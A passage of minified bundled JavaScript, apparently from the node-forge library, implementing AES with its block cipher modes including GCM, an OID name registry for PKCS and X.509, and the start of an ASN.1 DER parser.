K={};if(K.decrypt=this._decrypt,K.overflow=this._input.length()%this.blockSize,!this._decrypt&&this.mode.pad){if(!this.mode.pad(this._input,K))return!1}if(this._finish=!0,this.update(),this._decrypt&&this.mode.unpad){if(!this.mode.unpad(this.output,K))return!1}if(this.mode.afterFinish){if(!this.mode.afterFinish(this.output,K))return!1}return!0}});var gD6=v((H4H,H_7)=>{var LG=m3();bY();LG.cipher=LG.cipher||{};var g9=H_7.exports=LG.cipher.modes=LG.cipher.modes||{};g9.ecb=function(A){A=A||{},this.name="ECB",this.cipher=A.cipher,this.blockSize=A.blockSize||16,this._ints=this.blockSize/4,this._inBlock=Array(this._ints),this._outBlock=Array(this._ints)};g9.ecb.prototype.start=function(A){};g9.ecb.prototype.encrypt=function(A,K,q){if(A.length()<this.blockSize&&!(q&&A.length()>0))return!0;for(var Y=0;Y<this._ints;++Y)this._inBlock[Y]=A.getInt32();this.cipher.encrypt(this._inBlock,this._outBlock);for(var Y=0;Y<this._ints;++Y)K.putInt32(this._outBlock[Y])};g9.ecb.prototype.decrypt=function(A,K,q){if(A.length()<this.blockSize&&!(q&&A.length()>0))return!0;for(var Y=0;Y<this._ints;++Y)this._inBlock[Y]=A.getInt32();this.cipher.decrypt(this._inBlock,this._outBlock);for(var Y=0;Y<this._ints;++Y)K.putInt32(this._outBlock[Y])};g9.ecb.prototype.pad=function(A,K){var q=A.length()===this.blockSize?this.blockSize:this.blockSize-A.length();return A.fillWithByte(q,q),!0};g9.ecb.prototype.unpad=function(A,K){if(K.overflow>0)return!1;var q=A.length(),Y=A.at(q-1);if(Y>this.blockSize<<2)return!1;return A.truncate(Y),!0};g9.cbc=function(A){A=A||{},this.name="CBC",this.cipher=A.cipher,this.blockSize=A.blockSize||16,this._ints=this.blockSize/4,this._inBlock=Array(this._ints),this._outBlock=Array(this._ints)};g9.cbc.prototype.start=function(A){if(A.iv===null){if(!this._prev)throw Error("Invalid IV parameter.");this._iv=this._prev.slice(0)}else if(!("iv"in A))throw Error("Invalid IV parameter.");else this._iv=gX1(A.iv,this.blockSize),this._prev=this._iv.slice(0)};g9.cbc.prototype.encrypt=function(A,K,q){if(A.length()<this.blockSize&&!(q&&A.length()>0))return!0;for(var Y=0;Y<this._ints;++Y)this._inBlock[Y]=this._prev[Y]^A.getInt32();this.cipher.encrypt(this._inBlock,this._outBlock);for(var Y=0;Y<this._ints;++Y)K.putInt32(this._outBlock[Y]);this._prev=this._outBlock};g9.cbc.prototype.decrypt=function(A,K,q){if(A.length()<this.blockSize&&!(q&&A.length()>0))return!0;for(var Y=0;Y<this._ints;++Y)this._inBlock[Y]=A.getInt32();this.cipher.decrypt(this._inBlock,this._outBlock);for(var Y=0;Y<this._ints;++Y)K.putInt32(this._prev[Y]^this._outBlock[Y]);this._prev=this._inBlock.slice(0)};g9.cbc.prototype.pad=function(A,K){var q=A.length()===this.blockSize?this.blockSize:this.blockSize-A.length();return A.fillWithByte(q,q),!0};g9.cbc.prototype.unpad=function(A,K){if(K.overflow>0)return!1;var q=A.length(),Y=A.at(q-1);if(Y>this.blockSize<<2)return!1;return A.truncate(Y),!0};g9.cfb=function(A){A=A||{},this.name="CFB",this.cipher=A.cipher,this.blockSize=A.blockSize||16,this._ints=this.blockSize/4,this._inBlock=null,this._outBlock=Array(this._ints),this._partialBlock=Array(this._ints),this._partialOutput=LG.util.createBuffer(),this._partialBytes=0};g9.cfb.prototype.start=function(A){if(!("iv"in A))throw Error("Invalid IV parameter.");this._iv=gX1(A.iv,this.blockSize),this._inBlock=this._iv.slice(0),this._partialBytes=0};g9.cfb.prototype.encrypt=function(A,K,q){var Y=A.length();if(Y===0)return!0;if(this.cipher.encrypt(this._inBlock,this._outBlock),this._partialBytes===0&&Y>=this.blockSize){for(var z=0;z<this._ints;++z)this._inBlock[z]=A.getInt32()^this._outBlock[z],K.putInt32(this._inBlock[z]);return}var w=(this.blockSize-Y)%this.blockSize;if(w>0)w=this.blockSize-w;this._partialOutput.clear();for(var z=0;z<this._ints;++z)this._partialBlock[z]=A.getInt32()^this._outBlock[z],this._partialOutput.putInt32(this._partialBlock[z]);if(w>0)A.read-=this.blockSize;else for(var z=0;z<this._ints;++z)this._inBlock[z]=this._partialBlock[z];if(this._partialBytes>0)this._partialOutput.getBytes(this._partialBytes);if(w>0&&!q)return K.putBytes(this._partialOutput.getBytes(w-this._partialBytes)),this._partialBytes=w,!0;K.putBytes(this._partialOutput.getBytes(Y-this._partialBytes)),this._partialBytes=0};g9.cfb.prototype.decrypt=function(A,K,q){var Y=A.length();if(Y===0)return!0;if(this.cipher.encrypt(this._inBlock,this._outBlock),this._partialBytes===0&&Y>=this.blockSize){for(var z=0;z<this._ints;++z)this._inBlock[z]=A.getInt32(),K.putInt32(this._inBlock[z]^this._outBlock[z]);return}var w=(this.blockSize-Y)%this.blockSize;if(w>0)w=this.blockSize-w;this._partialOutput.clear();for(var z=0;z<this._ints;++z)this._partialBlock[z]=A.getInt32(),this._partialOutput.putInt32(this._partialBlock[z]^this._outBlock[z]);if(w>0)A.read-=this.blockSize;else for(var z=0;z<this._ints;++z)this._inBlock[z]=this._partialBlock[z];if(this._partialBytes>0)this._partialOutput.getBytes(this._partialBytes);if(w>0&&!q)return K.putBytes(this._partialOutput.getBytes(w-this._partialBytes)),this._partialBytes=w,!0;K.putBytes(this._partialOutput.getBytes(Y-this._partialBytes)),this._partialBytes=0};g9.ofb=function(A){A=A||{},this.name="OFB",this.cipher=A.cipher,this.blockSize=A.blockSize||16,this._ints=this.blockSize/4,this._inBlock=null,this._outBlock=Array(this._ints),this._partialOutput=LG.util.createBuffer(),this._partialBytes=0};g9.ofb.prototype.start=function(A){if(!("iv"in A))throw Error("Invalid IV parameter.");this._iv=gX1(A.iv,this.blockSize),this._inBlock=this._iv.slice(0),this._partialBytes=0};g9.ofb.prototype.encrypt=function(A,K,q){var Y=A.length();if(A.length()===0)return!0;if(this.cipher.encrypt(this._inBlock,this._outBlock),this._partialBytes===0&&Y>=this.blockSize){for(var z=0;z<this._ints;++z)K.putInt32(A.getInt32()^this._outBlock[z]),this._inBlock[z]=this._outBlock[z];return}var w=(this.blockSize-Y)%this.blockSize;if(w>0)w=this.blockSize-w;this._partialOutput.clear();for(var z=0;z<this._ints;++z)this._partialOutput.putInt32(A.getInt32()^this._outBlock[z]);if(w>0)A.read-=this.blockSize;else for(var z=0;z<this._ints;++z)this._inBlock[z]=this._outBlock[z];if(this._partialBytes>0)this._partialOutput.getBytes(this._partialBytes);if(w>0&&!q)return K.putBytes(this._partialOutput.getBytes(w-this._partialBytes)),this._partialBytes=w,!0;K.putBytes(this._partialOutput.getBytes(Y-this._partialBytes)),this._partialBytes=0};g9.ofb.prototype.decrypt=g9.ofb.prototype.encrypt;g9.ctr=function(A){A=A||{},this.name="CTR",this.cipher=A.cipher,this.blockSize=A.blockSize||16,this._ints=this.blockSize/4,this._inBlock=null,this._outBlock=Array(this._ints),this._partialOutput=LG.util.createBuffer(),this._partialBytes=0};g9.ctr.prototype.start=function(A){if(!("iv"in A))throw Error("Invalid IV parameter.");this._iv=gX1(A.iv,this.blockSize),this._inBlock=this._iv.slice(0),this._partialBytes=0};g9.ctr.prototype.encrypt=function(A,K,q){var Y=A.length();if(Y===0)return!0;if(this.cipher.encrypt(this._inBlock,this._outBlock),this._partialBytes===0&&Y>=this.blockSize)for(var z=0;z<this._ints;++z)K.putInt32(A.getInt32()^this._outBlock[z]);else{var w=(this.blockSize-Y)%this.blockSize;if(w>0)w=this.blockSize-w;this._partialOutput.clear();for(var z=0;z<this._ints;++z)this._partialOutput.putInt32(A.getInt32()^this._outBlock[z]);if(w>0)A.read-=this.blockSize;if(this._partialBytes>0)this._partialOutput.getBytes(this._partialBytes);if(w>0&&!q)return K.putBytes(this._partialOutput.getBytes(w-this._partialBytes)),this._partialBytes=w,!0;K.putBytes(this._partialOutput.getBytes(Y-this._partialBytes)),this._partialBytes=0}FX1(this._inBlock)};g9.ctr.prototype.decrypt=g9.ctr.prototype.encrypt;g9.gcm=function(A){A=A||{},this.name="GCM",this.cipher=A.cipher,this.blockSize=A.blockSize||16,this._ints=this.blockSize/4,this._inBlock=Array(this._ints),this._outBlock=Array(this._ints),this._partialOutput=LG.util.createBuffer(),this._partialBytes=0,this._R=3774873600};g9.gcm.prototype.start=function(A){if(!("iv"in A))throw Error("Invalid IV parameter.");var K=LG.util.createBuffer(A.iv);this._cipherLength=0;var q;if("additionalData"in A)q=LG.util.createBuffer(A.additionalData);else q=LG.util.createBuffer();if("tagLength"in A)this._tagLength=A.tagLength;else this._tagLength=128;if(this._tag=null,A.decrypt){if(this._tag=LG.util.createBuffer(A.tag).getBytes(),this._tag.length!==this._tagLength/8)throw Error("Authentication tag does not match tag length.")}this._hashBlock=Array(this._ints),this.tag=null,this._hashSubkey=Array(this._ints),this.cipher.encrypt([0,0,0,0],this._hashSubkey),this.componentBits=4,this._m=this.generateHashTable(this._hashSubkey,this.componentBits);var Y=K.length();if(Y===12)this._j0=[K.getInt32(),K.getInt32(),K.getInt32(),1];else{this._j0=[0,0,0,0];while(K.length()>0)this._j0=this.ghash(this._hashSubkey,this._j0,[K.getInt32(),K.getInt32(),K.getInt32(),K.getInt32()]);this._j0=this.ghash(this._hashSubkey,this._j0,[0,0].concat(mD6(Y*8)))}this._inBlock=this._j0.slice(0),FX1(this._inBlock),this._partialBytes=0,q=LG.util.createBuffer(q),this._aDataLength=mD6(q.length()*8);var z=q.length()%this.blockSize;if(z)q.fillWithByte(0,this.blockSize-z);this._s=[0,0,0,0];while(q.length()>0)this._s=this.ghash(this._hashSubkey,this._s,[q.getInt32(),q.getInt32(),q.getInt32(),q.getInt32()])};g9.gcm.prototype.encrypt=function(A,K,q){var Y=A.length();if(Y===0)return!0;if(this.cipher.encrypt(this._inBlock,this._outBlock),this._partialBytes===0&&Y>=this.blockSize){for(var z=0;z<this._ints;++z)K.putInt32(this._outBlock[z]^=A.getInt32());this._cipherLength+=this.blockSize}else{var w=(this.blockSize-Y)%this.blockSize;if(w>0)w=this.blockSize-w;this._partialOutput.clear();for(var z=0;z<this._ints;++z)this._partialOutput.putInt32(A.getInt32()^this._outBlock[z]);if(w<=0||q){if(q){var H=Y%this.blockSize;this._cipherLength+=H,this._partialOutput.truncate(this.blockSize-H)}else this._cipherLength+=this.blockSize;for(var z=0;z<this._ints;++z)this._outBlock[z]=this._partialOutput.getInt32();this._partialOutput.read-=this.blockSize}if(this._partialBytes>0)this._partialOutput.getBytes(this._partialBytes);if(w>0&&!q)return A.read-=this.blockSize,K.putBytes(this._partialOutput.getBytes(w-this._partialBytes)),this._partialBytes=w,!0;K.putBytes(this._partialOutput.getBytes(Y-this._partialBytes)),this._partialBytes=0}this._s=this.ghash(this._hashSubkey,this._s,this._outBlock),FX1(this._inBlock)};g9.gcm.prototype.decrypt=function(A,K,q){var Y=A.length();if(Y<this.blockSize&&!(q&&Y>0))return!0;this.cipher.encrypt(this._inBlock,this._outBlock),FX1(this._inBlock),this._hashBlock[0]=A.getInt32(),this._hashBlock[1]=A.getInt32(),this._hashBlock[2]=A.getInt32(),this._hashBlock[3]=A.getInt32(),this._s=this.ghash(this._hashSubkey,this._s,this._hashBlock);for(var z=0;z<this._ints;++z)K.putInt32(this._outBlock[z]^this._hashBlock[z]);if(Y<this.blockSize)this._cipherLength+=Y%this.blockSize;else this._cipherLength+=this.blockSize};g9.gcm.prototype.afterFinish=function(A,K){var q=!0;if(K.decrypt&&K.overflow)A.truncate(this.blockSize-K.overflow);this.tag=LG.util.createBuffer();var Y=this._aDataLength.concat(mD6(this._cipherLength*8));this._s=this.ghash(this._hashSubkey,this._s,Y);var z=[];this.cipher.encrypt(this._j0,z);for(var w=0;w<this._ints;++w)this.tag.putInt32(this._s[w]^z[w]);if(this.tag.truncate(this.tag.length()%(this._tagLength/8)),K.decrypt&&this.tag.bytes()!==this._tag)q=!1;return q};g9.gcm.prototype.multiply=function(A,K){var q=[0,0,0,0],Y=K.slice(0);for(var z=0;z<128;++z){var w=A[z/32|0]&1<<31-z%32;if(w)q[0]^=Y[0],q[1]^=Y[1],q[2]^=Y[2],q[3]^=Y[3];this.pow(Y,Y)}return q};g9.gcm.prototype.pow=function(A,K){var q=A[3]&1;for(var Y=3;Y>0;--Y)K[Y]=A[Y]>>>1|(A[Y-1]&1)<<31;if(K[0]=A[0]>>>1,q)K[0]^=this._R};g9.gcm.prototype.tableMultiply=function(A){var K=[0,0,0,0];for(var q=0;q<32;++q){var Y=q/8|0,z=A[Y]>>>(7-q%8)*4&15,w=this._m[q][z];K[0]^=w[0],K[1]^=w[1],K[2]^=w[2],K[3]^=w[3]}return K};g9.gcm.prototype.ghash=function(A,K,q){return K[0]^=q[0],K[1]^=q[1],K[2]^=q[2],K[3]^=q[3],this.tableMultiply(K)};g9.gcm.prototype.generateHashTable=function(A,K){var q=8/K,Y=4*q,z=16*q,w=Array(z);for(var H=0;H<z;++H){var J=[0,0,0,0],O=H/Y|0,X=(Y-1-H%Y)*K;J[O]=1<<K-1<<X,w[H]=this.generateSubHashTable(this.multiply(J,A),K)}return w};g9.gcm.prototype.generateSubHashTable=function(A,K){var q=1<<K,Y=q>>>1,z=Array(q);z[Y]=A.slice(0);var w=Y>>>1;while(w>0)this.pow(z[2*w],z[w]=[]),w>>=1;w=2;while(w<Y){for(var H=1;H<w;++H){var J=z[w],O=z[H];z[w+H]=[J[0]^O[0],J[1]^O[1],J[2]^O[2],J[3]^O[3]]}w*=2}z[0]=[0,0,0,0];for(w=Y+1;w<q;++w){var X=z[w^Y];z[w]=[A[0]^X[0],A[1]^X[1],A[2]^X[2],A[3]^X[3]]}return z};function gX1(A,K){if(typeof A==="string")A=LG.util.createBuffer(A);if(LG.util.isArray(A)&&A.length>4){var q=A;A=LG.util.createBuffer();for(var Y=0;Y<q.length;++Y)A.putByte(q[Y])}if(A.length()<K)throw Error("Invalid IV length; got "+A.length()+" bytes and expected "+K+" bytes.");if(!LG.util.isArray(A)){var z=[],w=K/4;for(var Y=0;Y<w;++Y)z.push(A.getInt32());A=z}return A}function FX1(A){A[A.length-1]=A[A.length-1]+1&4294967295}function mD6(A){return[A/4294967296|0,A&4294967295]}});var ha=v((J4H,$_7)=>{var JH=m3();mX1();gD6();bY();$_7.exports=JH.aes=JH.aes||{};JH.aes.startEncrypting=function(A,K,q,Y){var z=QX1({key:A,output:q,decrypt:!1,mode:Y});return z.start(K),z};JH.aes.createEncryptionCipher=function(A,K){return QX1({key:A,output:null,decrypt:!1,mode:K})};JH.aes.startDecrypting=function(A,K,q,Y){var z=QX1({key:A,output:q,decrypt:!0,mode:Y});return z.start(K),z};JH.aes.createDecryptionCipher=function(A,K){return QX1({key:A,output:null,decrypt:!0,mode:K})};JH.aes.Algorithm=function(A,K){if(!UD6)O_7();var q=this;q.name=A,q.mode=new K({blockSize:16,cipher:{encrypt:function(Y,z){return QD6(q._w,Y,z,!1)},decrypt:function(Y,z){return QD6(q._w,Y,z,!0)}}}),q._init=!1};JH.aes.Algorithm.prototype.initialize=function(A){if(this._init)return;var K=A.key,q;if(typeof K==="string"&&(K.length===16||K.length===24||K.length===32))K=JH.util.createBuffer(K);else if(JH.util.isArray(K)&&(K.length===16||K.length===24||K.length===32)){q=K,K=JH.util.createBuffer();for(var Y=0;Y<q.length;++Y)K.putByte(q[Y])}if(!JH.util.isArray(K)){q=K,K=[];var z=q.length();if(z===16||z===24||z===32){z=z>>>2;for(var Y=0;Y<z;++Y)K.push(q.getInt32())}}if(!JH.util.isArray(K)||!(K.length===4||K.length===6||K.length===8))throw Error("Invalid key parameter.");var w=this.mode.name,H=["CFB","OFB","CTR","GCM"].indexOf(w)!==-1;this._w=X_7(K,A.decrypt&&!H),this._init=!0};JH.aes._expandKey=function(A,K){if(!UD6)O_7();return X_7(A,K)};JH.aes._updateBlock=QD6;CZA("AES-ECB",JH.cipher.modes.ecb);CZA("AES-CBC",JH.cipher.modes.cbc);CZA("AES-CFB",JH.cipher.modes.cfb);CZA("AES-OFB",JH.cipher.modes.ofb);CZA("AES-CTR",JH.cipher.modes.ctr);CZA("AES-GCM",JH.cipher.modes.gcm);function CZA(A,K){var q=function(){return new JH.aes.Algorithm(A,K)};JH.cipher.registerAlgorithm(A,q)}var UD6=!1,kZA=4,pM,FD6,J_7,TqA,bI;function O_7(){UD6=!0,J_7=[0,1,2,4,8,16,32,64,128,27,54];var A=Array(256);for(var K=0;K<128;++K)A[K]=K<<1,A[K+128]=K+128<<1^283;pM=Array(256),FD6=Array(256),TqA=[,,,,],bI=[,,,,];for(var K=0;K<4;++K)TqA[K]=Array(256),bI[K]=Array(256);var q=0,Y=0,z,w,H,J,O,X,$;for(var K=0;K<256;++K){J=Y^Y<<1^Y<<2^Y<<3^Y<<4,J=J>>8^J&255^99,pM[q]=J,FD6[J]=q,O=A[J],z=A[q],w=A[z],H=A[w],X=O<<24^J<<16^J<<8^(J^O),$=(z^w^H)<<24^(q^H)<<16^(q^w^H)<<8^(q^z^H);for(var _=0;_<4;++_)TqA[_][q]=X,bI[_][J]=$,X=X<<24|X>>>8,$=$<<24|$>>>8;if(q===0)q=Y=1;else q=z^A[A[A[z^H]]],Y^=A[A[Y]]}}function X_7(A,K){var q=A.slice(0),Y,z=1,w=q.length,H=w+6+1,J=kZA*H;for(var O=w;O<J;++O){if(Y=q[O-1],O%w===0)Y=pM[Y>>>16&255]<<24^pM[Y>>>8&255]<<16^pM[Y&255]<<8^pM[Y>>>24]^J_7[z]<<24,z++;else if(w>6&&O%w===4)Y=pM[Y>>>24]<<24^pM[Y>>>16&255]<<16^pM[Y>>>8&255]<<8^pM[Y&255];q[O]=q[O-w]^Y}if(K){var X,$=bI[0],_=bI[1],G=bI[2],Z=bI[3],W=q.slice(0);J=q.length;for(var O=0,D=J-kZA;O<J;O+=kZA,D-=kZA)if(O===0||O===J-kZA)W[O]=q[D],W[O+1]=q[D+3],W[O+2]=q[D+2],W[O+3]=q[D+1];else for(var j=0;j<kZA;++j)X=q[D+j],W[O+(3&-j)]=$[pM[X>>>24]]^_[pM[X>>>16&255]]^G[pM[X>>>8&255]]^Z[pM[X&255]];q=W}return q}function QD6(A,K,q,Y){var z=A.length/4-1,w,H,J,O,X;if(Y)w=bI[0],H=bI[1],J=bI[2],O=bI[3],X=FD6;else w=TqA[0],H=TqA[1],J=TqA[2],O=TqA[3],X=pM;var $,_,G,Z,W,D,j;$=K[0]^A[0],_=K[Y?3:1]^A[1],G=K[2]^A[2],Z=K[Y?1:3]^A[3];var M=3;for(var P=1;P<z;++P)W=w[$>>>24]^H[_>>>16&255]^J[G>>>8&255]^O[Z&255]^A[++M],D=w[_>>>24]^H[G>>>16&255]^J[Z>>>8&255]^O[$&255]^A[++M],j=w[G>>>24]^H[Z>>>16&255]^J[$>>>8&255]^O[_&255]^A[++M],Z=w[Z>>>24]^H[$>>>16&255]^J[_>>>8&255]^O[G&255]^A[++M],$=W,_=D,G=j;q[0]=X[$>>>24]<<24^X[_>>>16&255]<<16^X[G>>>8&255]<<8^X[Z&255]^A[++M],q[Y?3:1]=X[_>>>24]<<24^X[G>>>16&255]<<16^X[Z>>>8&255]<<8^X[$&255]^A[++M],q[2]=X[G>>>24]<<24^X[Z>>>16&255]<<16^X[$>>>8&255]<<8^X[_&255]^A[++M],q[Y?1:3]=X[Z>>>24]<<24^X[$>>>16&255]<<16^X[_>>>8&255]<<8^X[G&255]^A[++M]}function QX1(A){A=A||{};var K=(A.mode||"CBC").toUpperCase(),q="AES-"+K,Y;if(A.decrypt)Y=JH.cipher.createDecipher(q,A.key);else Y=JH.cipher.createCipher(q,A.key);var z=Y.start;return Y.start=function(w,H){var J=null;if(H instanceof JH.util.ByteBuffer)J=H,H={};H=H||{},H.output=J,H.iv=w,z.call(Y,H)},Y}});var ba=v((O4H,__7)=>{var WBA=m3();WBA.pki=WBA.pki||{};var pD6=__7.exports=WBA.pki.oids=WBA.oids=WBA.oids||{};function p8(A,K){pD6[A]=K,pD6[K]=A}function c2(A,K){pD6[A]=K}p8("1.2.840.113549.1.1.1","rsaEncryption");p8("1.2.840.113549.1.1.4","md5WithRSAEncryption");p8("1.2.840.113549.1.1.5","sha1WithRSAEncryption");p8("1.2.840.113549.1.1.7","RSAES-OAEP");p8("1.2.840.113549.1.1.8","mgf1");p8("1.2.840.113549.1.1.9","pSpecified");p8("1.2.840.113549.1.1.10","RSASSA-PSS");p8("1.2.840.113549.1.1.11","sha256WithRSAEncryption");p8("1.2.840.113549.1.1.12","sha384WithRSAEncryption");p8("1.2.840.113549.1.1.13","sha512WithRSAEncryption");p8("1.3.101.112","EdDSA25519");p8("1.2.840.10040.4.3","dsa-with-sha1");p8("1.3.14.3.2.7","desCBC");p8("1.3.14.3.2.26","sha1");p8("1.3.14.3.2.29","sha1WithRSASignature");p8("2.16.840.1.101.3.4.2.1","sha256");p8("2.16.840.1.101.3.4.2.2","sha384");p8("2.16.840.1.101.3.4.2.3","sha512");p8("2.16.840.1.101.3.4.2.4","sha224");p8("2.16.840.1.101.3.4.2.5","sha512-224");p8("2.16.840.1.101.3.4.2.6","sha512-256");p8("1.2.840.113549.2.2","md2");p8("1.2.840.113549.2.5","md5");p8("1.2.840.113549.1.7.1","data");p8("1.2.840.113549.1.7.2","signedData");p8("1.2.840.113549.1.7.3","envelopedData");p8("1.2.840.113549.1.7.4","signedAndEnvelopedData");p8("1.2.840.113549.1.7.5","digestedData");p8("1.2.840.113549.1.7.6","encryptedData");p8("1.2.840.113549.1.9.1","emailAddress");p8("1.2.840.113549.1.9.2","unstructuredName");p8("1.2.840.113549.1.9.3","contentType");p8("1.2.840.113549.1.9.4","messageDigest");p8("1.2.840.113549.1.9.5","signingTime");p8("1.2.840.113549.1.9.6","counterSignature");p8("1.2.840.113549.1.9.7","challengePassword");p8("1.2.840.113549.1.9.8","unstructuredAddress");p8("1.2.840.113549.1.9.14","extensionRequest");p8("1.2.840.113549.1.9.20","friendlyName");p8("1.2.840.113549.1.9.21","localKeyId");p8("1.2.840.113549.1.9.22.1","x509Certificate");p8("1.2.840.113549.1.12.10.1.1","keyBag");p8("1.2.840.113549.1.12.10.1.2","pkcs8ShroudedKeyBag");p8("1.2.840.113549.1.12.10.1.3","certBag");p8("1.2.840.113549.1.12.10.1.4","crlBag");p8("1.2.840.113549.1.12.10.1.5","secretBag");p8("1.2.840.113549.1.12.10.1.6","safeContentsBag");p8("1.2.840.113549.1.5.13","pkcs5PBES2");p8("1.2.840.113549.1.5.12","pkcs5PBKDF2");p8("1.2.840.113549.1.12.1.1","pbeWithSHAAnd128BitRC4");p8("1.2.840.113549.1.12.1.2","pbeWithSHAAnd40BitRC4");p8("1.2.840.113549.1.12.1.3","pbeWithSHAAnd3-KeyTripleDES-CBC");p8("1.2.840.113549.1.12.1.4","pbeWithSHAAnd2-KeyTripleDES-CBC");p8("1.2.840.113549.1.12.1.5","pbeWithSHAAnd128BitRC2-CBC");p8("1.2.840.113549.1.12.1.6","pbewithSHAAnd40BitRC2-CBC");p8("1.2.840.113549.2.7","hmacWithSHA1");p8("1.2.840.113549.2.8","hmacWithSHA224");p8("1.2.840.113549.2.9","hmacWithSHA256");p8("1.2.840.113549.2.10","hmacWithSHA384");p8("1.2.840.113549.2.11","hmacWithSHA512");p8("1.2.840.113549.3.7","des-EDE3-CBC");p8("2.16.840.1.101.3.4.1.2","aes128-CBC");p8("2.16.840.1.101.3.4.1.22","aes192-CBC");p8("2.16.840.1.101.3.4.1.42","aes256-CBC");p8("2.5.4.3","commonName");p8("2.5.4.4","surname");p8("2.5.4.5","serialNumber");p8("2.5.4.6","countryName");p8("2.5.4.7","localityName");p8("2.5.4.8","stateOrProvinceName");p8("2.5.4.9","streetAddress");p8("2.5.4.10","organizationName");p8("2.5.4.11","organizationalUnitName");p8("2.5.4.12","title");p8("2.5.4.13","description");p8("2.5.4.15","businessCategory");p8("2.5.4.17","postalCode");p8("2.5.4.42","givenName");p8("1.3.6.1.4.1.311.60.2.1.2","jurisdictionOfIncorporationStateOrProvinceName");p8("1.3.6.1.4.1.311.60.2.1.3","jurisdictionOfIncorporationCountryName");p8("2.16.840.1.113730.1.1","nsCertType");p8("2.16.840.1.113730.1.13","nsComment");c2("2.5.29.1","authorityKeyIdentifier");c2("2.5.29.2","keyAttributes");c2("2.5.29.3","certificatePolicies");c2("2.5.29.4","keyUsageRestriction");c2("2.5.29.5","policyMapping");c2("2.5.29.6","subtreesConstraint");c2("2.5.29.7","subjectAltName");c2("2.5.29.8","issuerAltName");c2("2.5.29.9","subjectDirectoryAttributes");c2("2.5.29.10","basicConstraints");c2("2.5.29.11","nameConstraints");c2("2.5.29.12","policyConstraints");c2("2.5.29.13","basicConstraints");p8("2.5.29.14","subjectKeyIdentifier");p8("2.5.29.15","keyUsage");c2("2.5.29.16","privateKeyUsagePeriod");p8("2.5.29.17","subjectAltName");p8("2.5.29.18","issuerAltName");p8("2.5.29.19","basicConstraints");c2("2.5.29.20","cRLNumber");c2("2.5.29.21","cRLReason");c2("2.5.29.22","expirationDate");c2("2.5.29.23","instructionCode");c2("2.5.29.24","invalidityDate");c2("2.5.29.25","cRLDistributionPoints");c2("2.5.29.26","issuingDistributionPoint");c2("2.5.29.27","deltaCRLIndicator");c2("2.5.29.28","issuingDistributionPoint");c2("2.5.29.29","certificateIssuer");c2("2.5.29.30","nameConstraints");p8("2.5.29.31","cRLDistributionPoints");p8("2.5.29.32","certificatePolicies");c2("2.5.29.33","policyMappings");c2("2.5.29.34","policyConstraints");p8("2.5.29.35","authorityKeyIdentifier");c2("2.5.29.36","policyConstraints");p8("2.5.29.37","extKeyUsage");c2("2.5.29.46","freshestCRL");c2("2.5.29.54","inhibitAnyPolicy");p8("1.3.6.1.4.1.11129.2.4.2","timestampList");p8("1.3.6.1.5.5.7.1.1","authorityInfoAccess");p8("1.3.6.1.5.5.7.3.1","serverAuth");p8("1.3.6.1.5.5.7.3.2","clientAuth");p8("1.3.6.1.5.5.7.3.3","codeSigning");p8("1.3.6.1.5.5.7.3.4","emailProtection");p8("1.3.6.1.5.5.7.3.8","timeStamping")});var xI=v((X4H,Z_7)=>{var cH=m3();bY();ba();var q7=Z_7.exports=cH.asn1=cH.asn1||{};q7.Class={UNIVERSAL:0,APPLICATION:64,CONTEXT_SPECIFIC:128,PRIVATE:192};q7.Type={NONE:0,BOOLEAN:1,INTEGER:2,BITSTRING:3,OCTETSTRING:4,NULL:5,OID:6,ODESC:7,EXTERNAL:8,REAL:9,ENUMERATED:10,EMBEDDED:11,UTF8:12,ROID:13,SEQUENCE:16,SET:17,PRINTABLESTRING:19,IA5STRING:22,UTCTIME:23,GENERALIZEDTIME:24,BMPSTRING:30};q7.create=function(A,K,q,Y,z){if(cH.util.isArray(Y)){var w=[];for(var H=0;H<Y.length;++H)if(Y[H]!==void 0)w.push(Y[H]);Y=w}var J={tagClass:A,type:K,constructed:q,composed:q||cH.util.isArray(Y),value:Y};if(z&&"bitStringContents"in z)J.bitStringContents=z.bitStringContents,J.original=q7.copy(J);return J};q7.copy=function(A,K){var q;if(cH.util.isArray(A)){q=[];for(var Y=0;Y<A.length;++Y)q.push(q7.copy(A[Y],K));return q}if(typeof A==="string")return A;if(q={tagClass:A.tagClass,type:A.type,constructed:A.constructed,composed:A.composed,value:q7.copy(A.value,K)},K&&!K.excludeBitStringContents)q.bitStringContents=A.bitStringContents;return q};q7.equals=function(A,K,q){if(cH.util.isArray(A)){if(!cH.util.isArray(K))return!1;if(A.length!==K.length)return!1;for(var Y=0;Y<A.length;++Y)if(!q7.equals(A[Y],K[Y]))return!1;return!0}if(typeof A!==typeof K)return!1;if(typeof A==="string")return A===K;var z=A.tagClass===K.tagClass&&A.type===K.type&&A.constructed===K.constructed&&A.composed===K.composed&&q7.equals(A.value,K.value);if(q&&q.includeBitStringContents)z=z&&A.bitStringContents===K.bitStringContents;return z};q7.getBerValueLength=function(A){var K=A.getByte();if(K===128)return;var q,Y=K&128;if(!Y)q=K;else q=A.getInt((K&127)<<3);return q};function DBA(A,K,q){if(q>K){var Y=Error("Too few bytes to parse DER.");throw Y.available=A.length(),Y.remaining=K,Y.requested=q,Y}}var MNY=function(A,K){var q=A.getByte();if(K--,q===128)return;var Y,z=q&128;if(!z)Y=q;else{var w=q&127;DBA(A,K,w),Y=A.getInt(w<<3)}if(Y<0)throw Error("Negative length: "+Y);return Y};q7.fromDer=function(A,K){if(K===void 0)K={strict:!0,parseAllBytes:!0,decodeBitStrings:!0};if(typeof K==="boolean")K={strict:K,parseAllBytes:!0,decodeBitStrings:!0};if(!("strict"in K))K.strict=!0;if(!("parseAllBytes"in K))K.parseAllBytes=!0;if(!("decodeBitStrings"in K))K.decodeBitStrings=!0;if(typeof A==="string")A=cH.util.createBuffer(A);var q=A.length(),Y=UX1(A,A.length(),0,K);if(K.parseAllBytes&&A.length()!==0){var z=Error("Unparsed DER bytes remain after ASN.1 parsing.");throw z.byteCount=q,z.remaining=A.length(),z}return Y};function UX1(A,K,q,Y){var z;DBA(A,K,2);var w=A.getByte();K--;var H=w&192,J=w&31;z=A.length();var O=MNY(A,K);if(K-=z-A.length(),O!==void 0&&O>K){if(Y.strict){var X=Error("Too few bytes to read ASN.1 value.");throw X.available=A.length(),X.remaining=K,X.requested=O,X}O=K}var $,_,G=(w&32)===32;if(G)if($=[],O===void 0)for(;;){if(DBA(A,K,2),A.bytes(2)===String.fromCharCode(0,0)){A.getBytes(2),K-=2;break}z=A.length(),$.push(UX1(A,K,q+1,Y)),K-=z-A.length()}else while(O>0)z=A.length(),$.push(UX1(A,O,q+1,Y)),K-=z-A.length(),O-=z-A.length();if($===void 